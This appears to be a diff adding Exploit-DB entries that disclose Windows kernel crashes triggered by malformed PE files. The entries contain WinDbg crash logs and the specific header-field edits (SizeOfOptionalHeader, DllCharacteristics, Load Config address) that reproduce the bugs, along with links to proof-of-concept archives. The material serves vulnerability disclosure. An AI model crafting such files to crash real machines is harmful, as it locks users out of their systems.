fffffa83`75df0e80 fffff800`77dbca07 : ffff8ac5`62b15f80 fffff800`77ed0110 00000000`00000000 fffff800`78063900 : nt!KeBugCheck2+0x952
|
||||
fffffa83`75df1580 fffff800`77de0161 : 00000000`00000050 fffff800`7b6e00ac 00000000`00000000 fffffa83`75df1860 : nt!KeBugCheckEx+0x107
|
||||
fffffa83`75df15c0 fffff800`77c7aaef : 00000000`00000000 00000000`00000000 00000000`00000000 fffff800`7b6e00ac : nt!MiSystemFault+0x1d3171
|
||||
fffffa83`75df16c0 fffff800`77dca920 : fffff800`7b6d0000 00000000`00000000 ffffe687`5031c180 00000000`00000000 : nt!MmAccessFault+0x34f
|
||||
fffffa83`75df1860 fffff800`79a7e5c1 : ffffe687`4f6b1080 fffff800`7b6d0080 00000000`00000000 fffff800`79a67280 : nt!KiPageFault+0x360
|
||||
fffffa83`75df19f0 fffff800`79a7c879 : fffffa83`75df1cd0 00000000`00000000 00000000`c00000bb 00000000`00000000 : CI!CipFixImageType+0x9d
|
||||
fffffa83`75df1a30 fffff800`78285766 : fffffa83`75df1c70 fffff800`7b6d0000 00000000`0000000e fffff800`7b6d0000 : CI!CiValidateImageHeader+0x279
|
||||
fffffa83`75df1bb0 fffff800`7828528a : 00000000`00000000 00000000`00000001 00000000`00000000 00000000`00011000 : nt!SeValidateImageHeader+0xd6
|
||||
fffffa83`75df1c60 fffff800`7821e0da : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!MiValidateSectionCreate+0x436
|
||||
fffffa83`75df1e50 fffff800`781fc861 : fffffa83`75df2180 fffffa83`75df1fb0 00000000`40000000 fffffa83`75df2180 : nt!MiValidateSectionSigningPolicy+0xa6
|
||||
fffffa83`75df1eb0 fffff800`781dca20 : ffffe687`5031c180 fffffa83`75df2180 fffffa83`75df2180 ffffe687`5031c150 : nt!MiCreateNewSection+0x5ad
|
||||
fffffa83`75df2010 fffff800`781dcd24 : fffffa83`75df2040 ffffd483`86519790 ffffe687`5031c180 00000000`00000000 : nt!MiCreateImageOrDataSection+0x2d0
|
||||
fffffa83`75df2100 fffff800`781dc37f : 00000000`11000000 fffffa83`75df24c0 00000000`00000001 00000000`00000002 : nt!MiCreateSection+0xf4
|
||||
fffffa83`75df2280 fffff800`781dc110 : 000000bc`f7c78928 00000000`00000005 00000000`00000000 00000000`00000001 : nt!MiCreateSectionCommon+0x1ff
|
||||
fffffa83`75df2360 fffff800`77dce115 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtCreateSection+0x60
|
||||
fffffa83`75df23d0 00007ffe`5771c9a4 : 00007ffe`54641ae7 00000000`00000000 00000000`00000001 40b28496`f324e4f9 : nt!KiSystemServiceCopyEnd+0x25
|
||||
000000bc`f7c788b8 00007ffe`54641ae7 : 00000000`00000000 00000000`00000001 40b28496`f324e4f9 feafc9c1`1796ffa1 : ntdll!NtCreateSection+0x14
|
||||
000000bc`f7c788c0 00007ffe`54645640 : 00000203`34a8b3d0 00000007`00000000 00007ffe`56d32770 00000000`00000022 : KERNELBASE!BasepLoadLibraryAsDataFileInternal+0x2e7
|
||||
000000bc`f7c78af0 00007ffe`5462c41d : 00000203`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNELBASE!LoadLibraryExW+0xe0
|
||||
000000bc`f7c78b60 00007ffe`559f03d1 : 00000203`34a79130 00000000`00000000 00000203`34a96190 00007ffe`55a06d85 : KERNELBASE!GetFileVersionInfoSizeExW+0x3d
|
||||
000000bc`f7c78bc0 00007ffe`559f035c : 00000000`00000000 00007ffe`549f10ff 00000203`34a79130 000000bc`f7c78f10 : shell32!_LoadVersionInfo+0x39
|
||||
000000bc`f7c78c30 00007ffe`54a6c1c1 : 00000000`00000000 00000000`00000000 ffffffff`fffffffe 00000000`00000000 : shell32!CVersionPropertyStore::Initialize+0x2c
|
||||
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
The direct cause of the crash is an attempt to read from an invalid out-of-bounds address relative to the kernel mapping of the parsed PE file. Specifically, we believe that it is caused by the lack of proper sanitization of the IMAGE_FILE_HEADER.SizeOfOptionalHeader field.
|
||||
|
||||
We have minimized one of the crashing samples down to a 3-byte difference in relation to the original file: one which increases the value of the SizeOfOptionalHeader field from 0x00e0 to 0x66e0, one that decreases SizeOfImage from 0x8400 to 0x0e00, and one that changes DllCharacteristics from 0 to 0x89 (IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY | 9).
|
||||
|
||||
The issue reproduces on Windows 10 and Windows Server 2019 (32-bit and 64-bit, Special Pools not required). The crash occurs when any system component calls LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE) against the file, either directly or through another API such as GetFileVersionInfoSizeExW() or GetFileVersionInfoW(). In practice, this means that as soon as the file is displayed in Explorer, or the user hovers the cursor over it, or tries to open the file properties, or tries to rename it or perform any other similar action, the system will panic. In other words, just downloading such a file may permanently block the user's machine until they remove it through Recovery Mode etc. The attack scenario is similar to the one described in https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html. Due to the nature of the bug (OOB read), it could be also potentially exploited as a limited information disclosure primitive.
|
||||
|
||||
Attached is an archive with a minimized proof-of-concept PE image, the original file used to generate it, and three additional non-minimized samples. Please be careful when unpacking the ZIP as Windows may crash immediately once it sees the corrupted files on disk.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47486.zip
|
||||
86
exploits/windows/dos/47487.txt
Normal file
86
exploits/windows/dos/47487.txt
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
We have encountered a Windows kernel crash in memcpy() called by nt!MiParseImageLoadConfig while trying to load a malformed PE image into the process address space as a data file (i.e. LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE)). An example crash log generated after triggering the bug is shown below:
|
||||
|
||||
--- cut ---
|
||||
*** Fatal System Error: 0x00000050
|
||||
(0xFFFFF805751F5000,0x0000000000000000,0xFFFFF805773CF6E5,0x0000000000000000)
|
||||
|
||||
Break instruction exception - code 80000003 (first chance)
|
||||
|
||||
A fatal system error has occurred.
|
||||
Debugger entered on first try; Bugcheck callbacks have not been invoked.
|
||||
|
||||
A fatal system error has occurred.
|
||||
|
||||
[...]
|
||||
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Bugcheck Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
Invalid system memory was referenced. This cannot be protected by try-except.
|
||||
Typically the address is just plain bad or it is pointing at freed memory.
|
||||
Arguments:
|
||||
Arg1: fffff805751f5000, memory referenced.
|
||||
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
|
||||
Arg3: fffff805773cf6e5, If non-zero, the instruction address which referenced the bad memory
|
||||
address.
|
||||
Arg4: 0000000000000000, (reserved)
|
||||
|
||||
[...]
|
||||
|
||||
TRAP_FRAME: ffff8380cd506820 -- (.trap 0xffff8380cd506820)
|
||||
NOTE: The trap frame does not contain all registers.
|
||||
Some register values may be zeroed or incorrect.
|
||||
rax=000000000000005c rbx=0000000000000000 rcx=ffff8380cd506c80
|
||||
rdx=00007484a7cee364 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff805773cf6e5 rsp=ffff8380cd5069b8 rbp=ffff8380cd506fb0
|
||||
r8=0000000000000008 r9=0000000000000003 r10=000000000000020b
|
||||
r11=ffff8380cd506be0 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei pl nz na po nc
|
||||
nt!memcpy+0xa5:
|
||||
fffff805`773cf6e5 f30f6f4c1110 movdqu xmm1,xmmword ptr [rcx+rdx+10h] ds:fffff805`751f4ff4=????????????????????????????????
|
||||
Resetting default scope
|
||||
|
||||
LAST_CONTROL_TRANSFER: from fffff805774a6642 to fffff805773c46a0
|
||||
|
||||
STACK_TEXT:
|
||||
ffff8380`cd505dd8 fffff805`774a6642 : fffff805`751f5000 00000000`00000003 ffff8380`cd505f40 fffff805`77322be0 : nt!DbgBreakPointWithStatus
|
||||
ffff8380`cd505de0 fffff805`774a5d32 : fffff805`00000003 ffff8380`cd505f40 fffff805`773d0f60 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
|
||||
ffff8380`cd505e40 fffff805`773bca07 : fffff078`3c1e0f80 fffff805`774d0110 00000000`00000000 fffff805`77663900 : nt!KeBugCheck2+0x952
|
||||
ffff8380`cd506540 fffff805`773e0161 : 00000000`00000050 fffff805`751f5000 00000000`00000000 ffff8380`cd506820 : nt!KeBugCheckEx+0x107
|
||||
ffff8380`cd506580 fffff805`7727aaef : fffff805`77663900 00000000`00000000 00000000`00000000 fffff805`751f5000 : nt!MiSystemFault+0x1d3171
|
||||
ffff8380`cd506680 fffff805`773ca920 : ffff8380`cd5068b0 fffff805`773caa4e fffff805`75000000 fffff078`3c1f1000 : nt!MmAccessFault+0x34f
|
||||
ffff8380`cd506820 fffff805`773cf6e5 : fffff805`7788397d ffff8d03`15813460 fffff805`7723944d ffff8d03`15813080 : nt!KiPageFault+0x360
|
||||
ffff8380`cd5069b8 fffff805`7788397d : ffff8d03`15813460 fffff805`7723944d ffff8d03`15813080 ffff8d03`15cab288 : nt!memcpy+0xa5
|
||||
ffff8380`cd5069c0 fffff805`7788238e : fffff805`75000000 ffffaf0f`9d705048 00000000`00000000 00000000`001f5000 : nt!MiParseImageLoadConfig+0x171
|
||||
ffff8380`cd506d40 fffff805`777fc8a3 : ffff8380`cd507180 ffff8380`cd507180 ffff8380`cd506fb0 ffff8380`cd507180 : nt!MiRelocateImage+0x2fe
|
||||
ffff8380`cd506eb0 fffff805`777dca20 : ffff8d03`1526e520 ffff8380`cd507180 ffff8380`cd507180 ffff8d03`1526e4f0 : nt!MiCreateNewSection+0x5ef
|
||||
ffff8380`cd507010 fffff805`777dcd24 : ffff8380`cd507040 ffffaf0f`9d530760 ffff8d03`1526e520 00000000`00000000 : nt!MiCreateImageOrDataSection+0x2d0
|
||||
ffff8380`cd507100 fffff805`777dc37f : 00000000`11000000 ffff8380`cd5074c0 00000000`00000001 00000000`00000002 : nt!MiCreateSection+0xf4
|
||||
ffff8380`cd507280 fffff805`777dc110 : 000000c1`e89f8e28 00000000`00000005 00000000`00000000 00000000`00000001 : nt!MiCreateSectionCommon+0x1ff
|
||||
ffff8380`cd507360 fffff805`773ce115 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtCreateSection+0x60
|
||||
ffff8380`cd5073d0 00007ff8`2fa5c9a4 : 00007ff8`2d7c1ae7 00000000`00000000 00000000`00000001 40b28496`f324e4f9 : nt!KiSystemServiceCopyEnd+0x25
|
||||
000000c1`e89f8db8 00007ff8`2d7c1ae7 : 00000000`00000000 00000000`00000001 40b28496`f324e4f9 feafc9c1`1796ffa1 : ntdll!NtCreateSection+0x14
|
||||
000000c1`e89f8dc0 00007ff8`2d7c5640 : 000001d3`61bac500 0000002e`00000000 00007ff8`2f292770 00000000`00000022 : KERNELBASE!BasepLoadLibraryAsDataFileInternal+0x2e7
|
||||
000000c1`e89f8ff0 00007ff8`2d7ac41d : 000001d3`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNELBASE!LoadLibraryExW+0xe0
|
||||
000000c1`e89f9060 00007ff8`2dd503d1 : 000001d3`61bd1d10 00000000`00000000 000001d3`61bb94d0 00007ff8`2dd66d85 : KERNELBASE!GetFileVersionInfoSizeExW+0x3d
|
||||
000000c1`e89f90c0 00007ff8`2dd5035c : 00000000`00000000 00007ff8`2ced10ff 000001d3`61bd1d10 000000c1`e89f9410 : shell32!_LoadVersionInfo+0x39
|
||||
000000c1`e89f9130 00007ff8`2cf4c1c1 : 00000000`00000000 00000000`00000000 ffffffff`fffffffe 00000000`00000000 : shell32!CVersionPropertyStore::Initialize+0x2c
|
||||
000000c1`e89f9160 00007ff8`2cee23d4 : 00000000`00000080 00000000`00000000 00000000`80004002 00000000`f20003f1 : windows_storage!InitializeFileHandlerWithFile+0xc9
|
||||
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
We have minimized one of the crashing samples down to a 2-byte difference in relation to the original file, which change the Load Configuration Directory address from 0x1e4644 to 0x1f4f44.
|
||||
|
||||
The issue reproduces on Windows 10 and Windows Server 2019 (32-bit and 64-bit, Special Pools not required). The crash occurs when any system component calls LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE) against the file, either directly or through another API such as GetFileVersionInfoSizeExW() or GetFileVersionInfoW(). In practice, this means that as soon as the file is displayed in Explorer, or the user hovers the cursor over it, or tries to open the file properties, or tries to rename it or perform any other similar action, the system will panic. In other words, just downloading such a file may permanently block the user's machine until they remove it through Recovery Mode etc. The attack scenario is similar to the one described in https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html. Due to the nature of the bug (OOB read), it could be also potentially exploited as a limited information disclosure primitive.
|
||||
|
||||
Attached is an archive with a minimized proof-of-concept PE image, the original file used to generate it, and three additional non-minimized samples. Please be careful when unpacking the ZIP as Windows may crash immediately once it sees the corrupted files on disk.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47487.zip
|
||||
93
exploits/windows/dos/47488.txt
Normal file
93
exploits/windows/dos/47488.txt
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
We have encountered a Windows kernel crash in CI!HashKComputeFirstPageHash while trying to load a malformed PE image into the process address space as a data file (i.e. LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE)). An example crash log generated after triggering the bug is shown below:
|
||||
|
||||
--- cut ---
|
||||
*** Fatal System Error: 0x00000050
|
||||
(0xFFFFF80068F02000,0x0000000000000000,0xFFFFF80067291A2C,0x0000000000000000)
|
||||
|
||||
Driver at fault:
|
||||
*** CI.dll - Address FFFFF80067291A2C base at FFFFF80067230000, DateStamp 8581dc0d
|
||||
.
|
||||
Break instruction exception - code 80000003 (first chance)
|
||||
|
||||
A fatal system error has occurred.
|
||||
Debugger entered on first try; Bugcheck callbacks have not been invoked.
|
||||
|
||||
A fatal system error has occurred.
|
||||
|
||||
[...]
|
||||
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Bugcheck Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
Invalid system memory was referenced. This cannot be protected by try-except.
|
||||
Typically the address is just plain bad or it is pointing at freed memory.
|
||||
Arguments:
|
||||
Arg1: fffff80068f02000, memory referenced.
|
||||
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
|
||||
Arg3: fffff80067291a2c, If non-zero, the instruction address which referenced the bad memory
|
||||
address.
|
||||
Arg4: 0000000000000000, (reserved)
|
||||
|
||||
[...]
|
||||
|
||||
TRAP_FRAME: ffffe20f4b7d6400 -- (.trap 0xffffe20f4b7d6400)
|
||||
NOTE: The trap frame does not contain all registers.
|
||||
Some register values may be zeroed or incorrect.
|
||||
rax=00000000000000c8 rbx=0000000000000000 rcx=144670b8d60e0000
|
||||
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff80067291a2c rsp=ffffe20f4b7d6590 rbp=ffffe20f4b7d6690
|
||||
r8=00000000fffffe00 r9=fffff80068ef0000 r10=0000000000000002
|
||||
r11=ffffe20f4b7d6760 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei pl nz na pe nc
|
||||
CI!HashKComputeFirstPageHash+0x1f4:
|
||||
fffff800`67291a2c 418b5dd4 mov ebx,dword ptr [r13-2Ch] ds:ffffffff`ffffffd4=????????
|
||||
Resetting default scope
|
||||
|
||||
LAST_CONTROL_TRANSFER: from fffff80065aa6642 to fffff800659c46a0
|
||||
|
||||
STACK_TEXT:
|
||||
ffffe20f`4b7d59b8 fffff800`65aa6642 : fffff800`68f02000 00000000`00000003 ffffe20f`4b7d5b20 fffff800`65922be0 : nt!DbgBreakPointWithStatus
|
||||
ffffe20f`4b7d59c0 fffff800`65aa5d32 : fffff800`00000003 ffffe20f`4b7d5b20 fffff800`659d0fb0 ffffe20f`4b7d6060 : nt!KiBugCheckDebugBreak+0x12
|
||||
ffffe20f`4b7d5a20 fffff800`659bca07 : ffff8bc5`e2f17f80 fffff800`65ad0110 00000000`00000000 fffff800`65c63900 : nt!KeBugCheck2+0x952
|
||||
ffffe20f`4b7d6120 fffff800`659e0161 : 00000000`00000050 fffff800`68f02000 00000000`00000000 ffffe20f`4b7d6400 : nt!KeBugCheckEx+0x107
|
||||
ffffe20f`4b7d6160 fffff800`6587aaef : fffffb00`023b21b0 00000000`00000000 00000000`00000000 fffff800`68f02000 : nt!MiSystemFault+0x1d3171
|
||||
ffffe20f`4b7d6260 fffff800`659ca920 : ffffe20f`4b7d6860 00000000`00000000 00000000`00000200 fffff800`65c651c0 : nt!MmAccessFault+0x34f
|
||||
ffffe20f`4b7d6400 fffff800`67291a2c : 00000000`00000000 ffffe20f`4b7d6690 00000000`00000000 00000000`00001000 : nt!KiPageFault+0x360
|
||||
ffffe20f`4b7d6590 fffff800`67280829 : 00000000`00000000 ffffce0d`8ae71003 ffffac8f`23a2a9e8 00000000`00000000 : CI!HashKComputeFirstPageHash+0x1f4
|
||||
ffffe20f`4b7d67c0 fffff800`6727f10d : ffffac8f`23a2a5a0 ffffce0d`8ae71080 ffffce0d`00000000 00000000`00000000 : CI!CipGetEmbeddedSignatureAndFindFirstMatch+0x181
|
||||
ffffe20f`4b7d6860 fffff800`6727e89a : ffffac8f`23a2a5a0 ffffce0d`8b7e1d50 ffffce0d`8ae71080 fffff800`68ef0000 : CI!CipValidatePageHash+0xfd
|
||||
ffffe20f`4b7d6950 fffff800`6727cc8b : fffff800`6727f010 ffffe20f`4b7d6c8c ffffce0d`8b7e1d50 ffffce0d`8ae71080 : CI!CipValidateImageHash+0xe6
|
||||
ffffe20f`4b7d6a30 fffff800`65e85766 : ffffe20f`4b7d6c70 fffff800`68ef0000 00000000`0000000e fffff800`68ef0000 : CI!CiValidateImageHeader+0x68b
|
||||
ffffe20f`4b7d6bb0 fffff800`65e8528a : 00000000`00000000 00000000`00000001 00000000`00000000 00000000`00012000 : nt!SeValidateImageHeader+0xd6
|
||||
ffffe20f`4b7d6c60 fffff800`65e1e0da : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!MiValidateSectionCreate+0x436
|
||||
ffffe20f`4b7d6e50 fffff800`65dfc861 : ffffe20f`4b7d7180 ffffe20f`4b7d6fb0 00000000`40000000 ffffe20f`4b7d7180 : nt!MiValidateSectionSigningPolicy+0xa6
|
||||
ffffe20f`4b7d6eb0 fffff800`65ddca20 : ffffce0d`8b7e1d50 ffffe20f`4b7d7180 ffffe20f`4b7d7180 ffffce0d`8b7e1d20 : nt!MiCreateNewSection+0x5ad
|
||||
ffffe20f`4b7d7010 fffff800`65ddcd24 : ffffe20f`4b7d7040 ffffac8f`2af6a9f0 ffffce0d`8b7e1d50 00000000`00000000 : nt!MiCreateImageOrDataSection+0x2d0
|
||||
ffffe20f`4b7d7100 fffff800`65ddc37f : 00000000`11000000 ffffe20f`4b7d74c0 00000000`00000001 00000000`00000002 : nt!MiCreateSection+0xf4
|
||||
ffffe20f`4b7d7280 fffff800`65ddc110 : 00000010`0e3f8dc8 00000000`00000005 00000000`00000000 00000000`00000001 : nt!MiCreateSectionCommon+0x1ff
|
||||
ffffe20f`4b7d7360 fffff800`659ce115 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtCreateSection+0x60
|
||||
ffffe20f`4b7d73d0 00007ffe`c317c9a4 : 00007ffe`c0511ae7 00000000`00000000 00000000`00000001 40b28496`f324e4f9 : nt!KiSystemServiceCopyEnd+0x25
|
||||
00000010`0e3f8d58 00007ffe`c0511ae7 : 00000000`00000000 00000000`00000001 40b28496`f324e4f9 feafc9c1`1796ffa1 : ntdll!NtCreateSection+0x14
|
||||
00000010`0e3f8d60 00007ffe`c0515640 : 00000129`5f442be0 0000001b`00000000 00007ffe`c1f72770 00000000`00000022 : KERNELBASE!BasepLoadLibraryAsDataFileInternal+0x2e7
|
||||
00000010`0e3f8f90 00007ffe`c04fc41d : 00000129`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNELBASE!LoadLibraryExW+0xe0
|
||||
00000010`0e3f9000 00007ffe`c16903d1 : 00000129`5f414f00 00000000`00000000 00000129`5f443840 00007ffe`c16a6d85 : KERNELBASE!GetFileVersionInfoSizeExW+0x3d
|
||||
00000010`0e3f9060 00007ffe`c169035c : 00000000`00000000 00007ffe`c08710ff 00000129`5f414f00 00000010`0e3f93b0 : shell32!_LoadVersionInfo+0x39
|
||||
00000010`0e3f90d0 00007ffe`c08ec1c1 : 00000000`00000000 00000000`00000000 ffffffff`fffffffe 00000000`00000000 : shell32!CVersionPropertyStore::Initialize+0x2c
|
||||
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
We have minimized one of the crashing samples down to a 3-byte difference in relation to the original file: one which decreases NumberOfSections from 4 to 3, one which increases SizeOfOptionalHeader from 0xF0 to 0xCEF0, and one which changes DllCharacteristics from 0 to 0x00FF (IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY | IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE | 0xf).
|
||||
|
||||
The issue reproduces on Windows 10 and Windows Server 2019 64-bit (Special Pools not required). The crash occurs when any system component calls LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE) against the file, either directly or through another API such as GetFileVersionInfoSizeExW() or GetFileVersionInfoW(). In practice, this means that as soon as the file is displayed in Explorer, or the user hovers the cursor over it, or tries to open the file properties, or tries to rename it or perform any other similar action, the system will panic. In other words, just downloading such a file may permanently block the user's machine until they remove it through Recovery Mode etc. The attack scenario is similar to the one described in https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html. Due to the nature of the bug (OOB read), it could be also potentially exploited as a limited information disclosure primitive.
|
||||
|
||||
Attached is an archive with a minimized proof-of-concept PE image, the original file used to generate it, and one additional non-minimized sample. Please be careful when unpacking the ZIP as Windows may crash immediately once it sees the corrupted files on disk.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47488.zip
|
||||
79
exploits/windows/dos/47489.txt
Normal file
79
exploits/windows/dos/47489.txt
Normal file
|
|
@ -0,0 +1,79 @@
|
|||
We have encountered a Windows kernel crash in memcpy() called by nt!MiRelocateImage while trying to load a malformed PE image into the process address space as a data file (i.e. LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE)). An example crash log generated after triggering the bug is shown below:
|
||||
|
||||
--- cut ---
|
||||
*** Fatal System Error: 0x00000050
|
||||
(0xFFFFF8017519A200,0x0000000000000000,0xFFFFF801713CF660,0x0000000000000000)
|
||||
|
||||
A fatal system error has occurred.
|
||||
|
||||
[...]
|
||||
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Bugcheck Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
Invalid system memory was referenced. This cannot be protected by try-except.
|
||||
Typically the address is just plain bad or it is pointing at freed memory.
|
||||
Arguments:
|
||||
Arg1: fffff8017519a200, memory referenced.
|
||||
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
|
||||
Arg3: fffff801713cf660, If non-zero, the instruction address which referenced the bad memory
|
||||
address.
|
||||
Arg4: 0000000000000000, (reserved)
|
||||
|
||||
[...]
|
||||
|
||||
TRAP_FRAME: ffffc50241846ba0 -- (.trap 0xffffc50241846ba0)
|
||||
NOTE: The trap frame does not contain all registers.
|
||||
Some register values may be zeroed or incorrect.
|
||||
rax=ffffcf84d2228de0 rbx=0000000000000000 rcx=ffffcf84d2228fb8
|
||||
rdx=0000287ca2f71248 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff801713cf660 rsp=ffffc50241846d38 rbp=ffffc50241846fb0
|
||||
r8=000000000000000c r9=0000000000000001 r10=00000000ffffffff
|
||||
r11=ffffcf84d2228fb8 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei pl nz na pe cy
|
||||
nt!memcpy+0x20:
|
||||
fffff801`713cf660 488b0411 mov rax,qword ptr [rcx+rdx] ds:fffff801`7519a200=????????????????
|
||||
Resetting default scope
|
||||
|
||||
LAST_CONTROL_TRANSFER: from fffff801714a6642 to fffff801713c46a0
|
||||
|
||||
STACK_TEXT:
|
||||
ffffc502`41846158 fffff801`714a6642 : fffff801`7519a200 00000000`00000003 ffffc502`418462c0 fffff801`71322be0 : nt!DbgBreakPointWithStatus
|
||||
ffffc502`41846160 fffff801`714a5d32 : fffff801`00000003 ffffc502`418462c0 fffff801`713d0f60 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
|
||||
ffffc502`418461c0 fffff801`713bca07 : ffffce67`3399cf80 fffff801`714d0110 00000000`00000000 fffff801`71663900 : nt!KeBugCheck2+0x952
|
||||
ffffc502`418468c0 fffff801`713e0161 : 00000000`00000050 fffff801`7519a200 00000000`00000000 ffffc502`41846ba0 : nt!KeBugCheckEx+0x107
|
||||
ffffc502`41846900 fffff801`7127aaef : 00000000`00000000 00000000`00000000 00000000`00000000 fffff801`7519a200 : nt!MiSystemFault+0x1d3171
|
||||
ffffc502`41846a00 fffff801`713ca920 : ffffcf84`cb274000 fffff801`713c79e5 00000000`00000000 fffff801`751a0c00 : nt!MmAccessFault+0x34f
|
||||
ffffc502`41846ba0 fffff801`713cf660 : fffff801`7188246d 00000000`6cc30000 ffffc502`41846fb0 ffffcf84`d2228d70 : nt!KiPageFault+0x360
|
||||
ffffc502`41846d38 fffff801`7188246d : 00000000`6cc30000 ffffc502`41846fb0 ffffcf84`d2228d70 00000000`00000000 : nt!memcpy+0x20
|
||||
ffffc502`41846d40 fffff801`717fc8a3 : ffffc502`41847180 ffffc502`41847180 ffffc502`41846fb0 ffffc502`41847180 : nt!MiRelocateImage+0x3dd
|
||||
ffffc502`41846eb0 fffff801`717dca20 : ffff9d05`96f58160 ffffc502`41847180 ffffc502`41847180 ffff9d05`96f58130 : nt!MiCreateNewSection+0x5ef
|
||||
ffffc502`41847010 fffff801`717dcd24 : ffffc502`41847040 ffffcf84`d24b8b00 ffff9d05`96f58160 00000000`00000000 : nt!MiCreateImageOrDataSection+0x2d0
|
||||
ffffc502`41847100 fffff801`717dc37f : 00000000`11000000 ffffc502`418474c0 00000000`00000001 00000000`00000002 : nt!MiCreateSection+0xf4
|
||||
ffffc502`41847280 fffff801`717dc110 : 00000000`0828cf48 00000000`00000005 00000000`00000000 00000000`00000001 : nt!MiCreateSectionCommon+0x1ff
|
||||
ffffc502`41847360 fffff801`713ce115 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtCreateSection+0x60
|
||||
ffffc502`418473d0 00007ffb`a3edc9a4 : 00007ffb`a1c71ae7 00000000`00000000 00000000`00000001 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
|
||||
00000000`0828ced8 00007ffb`a1c71ae7 : 00000000`00000000 00000000`00000001 00000000`00000000 00000000`00000000 : ntdll!NtCreateSection+0x14
|
||||
00000000`0828cee0 00007ffb`a1c75640 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000022 : KERNELBASE!BasepLoadLibraryAsDataFileInternal+0x2e7
|
||||
00000000`0828d110 00007ffb`a1c5c41d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNELBASE!LoadLibraryExW+0xe0
|
||||
00000000`0828d180 00007ffb`a22603d1 : 00000000`055c1640 00000000`00000000 00006d1c`2a8cc01b 00007ffb`a29c643e : KERNELBASE!GetFileVersionInfoSizeExW+0x3d
|
||||
00000000`0828d1e0 00007ffb`a226035c : 00000000`00002234 00007ffb`a29cdba3 00000000`00002234 00000000`00000000 : SHELL32!_LoadVersionInfo+0x39
|
||||
00000000`0828d250 00007ffb`a155c1c1 : 00000000`00000000 00000000`00000000 00000000`00000020 00000000`40040000 : SHELL32!CVersionPropertyStore::Initialize+0x2c
|
||||
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
The issue reproduces on Windows 8.1, Windows 10 and their corresponding Server editions (32-bit and 64-bit, Special Pools not required). The crash occurs when any system component calls LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE) against the file, either directly or through another API such as GetFileVersionInfoSizeExW() or GetFileVersionInfoW(). In practice, this means that as soon as the file is displayed in Explorer, or the user hovers the cursor over it, or tries to open the file properties, or tries to rename it or perform any other similar action, the system will panic. In other words, just downloading such a file may permanently block the user's machine until they remove it through Recovery Mode etc. The attack scenario is similar to the one described in https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html. Due to the nature of the bug (OOB read), it could be also potentially exploited as an information disclosure primitive.
|
||||
|
||||
We haven't managed to significantly minimize the test cases, but we determined that the crash is related to the invalid value of the Base Relocation Table directory address in the PE headers.
|
||||
|
||||
